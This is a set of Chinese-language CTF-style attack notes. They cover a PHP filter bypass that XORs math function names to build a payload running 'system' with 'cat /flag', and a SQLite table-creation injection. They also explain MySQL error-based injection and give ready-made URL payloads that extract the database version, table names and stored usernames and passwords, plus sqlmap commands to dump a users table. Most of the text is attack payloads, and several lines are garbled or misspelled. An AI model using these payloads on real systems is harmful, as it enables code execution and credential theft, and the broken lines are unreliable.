数学函数利用(只能输入数学函数时):
先进行异或
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){//sizeof$查询对象或类型的大小
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo " ";
}
}
}
?>
然后根据函数构造命令: _GET{system}(_GET{cat%20/flag})
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag // _GET{system}(_GET{cat%20/flag})
建表包注入:
table_name=aaa as select sql as[ &columns[ o] [ name]=]fronsqlite_master ; &columns[o] [type]-2
报错注入
报错注入形式上是两个嵌套的查询:select…(select…)
先执行()里面的,再执行外面的。
主要利用以下几个SQL函数:
rand():随机函数,返回0~1之间的某个值
floor(a):取整函数,返回小于等于a,且最接近a的整数
count():聚合函数也称为计数函数,返回查询对象的总数
group by clause分组语句:按照查询结果分组
select count(*) from table group by floor(rand(0)*2)
查询的时候,使用rand,该值会被多次计算。在使用group by的时候,floor(rand(0)*2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次。在一次多次记录的查询过程中,floor(rand(0)*2)==0110111
利用:
获取数据库:
URL/index.php?id=0' union select 1,2,3 from (select count(*),concat(select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a)limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取表名:
URL/index.php?id=0' union select 1,2,3 from (select count(*),concat(select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=databse() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
获取用户信息:
URL/index.php?id=0' union select 1,2,3 from (select count(*),concat(select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
SQLMAP
查询数据库名
python sqlmap.py -u "URL" --current -db
查询表名
python sqlmap.py -u "URL" -D security --tables
查询表列名
python sqlmap.py -u "URL" -D security -T users --columns
查询列值
python sqlmap.py -u "URL" -D security -T users -C username,password --dump